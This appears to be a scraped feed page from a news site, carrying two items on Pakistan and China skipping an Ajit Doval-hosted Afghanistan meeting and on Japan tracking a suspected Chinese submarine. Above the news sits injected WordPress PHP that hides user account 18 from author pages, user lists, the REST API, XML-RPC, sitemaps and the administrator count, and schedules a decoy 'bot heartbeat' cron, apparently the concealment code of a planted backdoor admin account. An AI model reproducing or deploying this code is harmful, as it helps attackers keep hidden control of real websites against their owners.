add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Pakistan and China are unlikely to attend the Ajit Doval-hosted Afghanistan meeting next week appeared first on The Edge Media.
]]>
Yusuf turned rejected an offer from India last month, according to multiple diplomatic sources, citing the fact that his country will not attend any summit where the Taliban is not represented. The NSA-level meetings, which were supposed to take place between 10 and 13 November, are now likely to take place without Pakistan and China, according to the sources. Russia, Iran, Uzbekistan, and Tajikistan have also been invited to the meeting.
The post Pakistan and China are unlikely to attend the Ajit Doval-hosted Afghanistan meeting next week appeared first on The Edge Media.
]]>The post Japan detects submarine believed to be Chinese appeared first on The Edge Media.
]]>The submarine remained submerged, but the ministry said in a statement that it believes the submarine is Chinese because a Chinese Luyang III-class guided missile destroyer is near the submarine.
The submarine moved northwest off the eastern coast of the Amamioshima Island, about 700 kilometers (420 miles) northeast of the disputed East China Sea islands controlled by Japan but also claimed by Beijing, the ministry said.
The submarine on Sunday morning was heading west in the East China Sea.
Neither the submarine or the ship entered Japanese territorial water. Under international law, submarines passing off the coast of another country are required to surface and show a national flag inside territorial waters.
Japan’s Maritime Self-Defense Force sent three reconnaissance aircraft and two destroyers to the area for early warning and information gathering to analyze China’s intentions.
A submarine believed to be Chinese also was spotted in the area in June 2020.
China has defended its maritime activities and says it has the right to defend its sovereignty, security and development interests.
Japan, alarmed by China’s growing naval activities in the East and South China seas, has been stepping up defense in the country’s southwestern regions and islands north of the disputed islands.
Tokyo says it opposes China’s unilateral attempts to change the status quo in the region, and regularly protests the Chinese coast guard’s growing presence near the disputed islands. Japanese officials say Chinese vessels routinely violate Japanese territorial waters around the islands, sometimes threatening fishing boats.
The post Japan detects submarine believed to be Chinese appeared first on The Edge Media.
]]>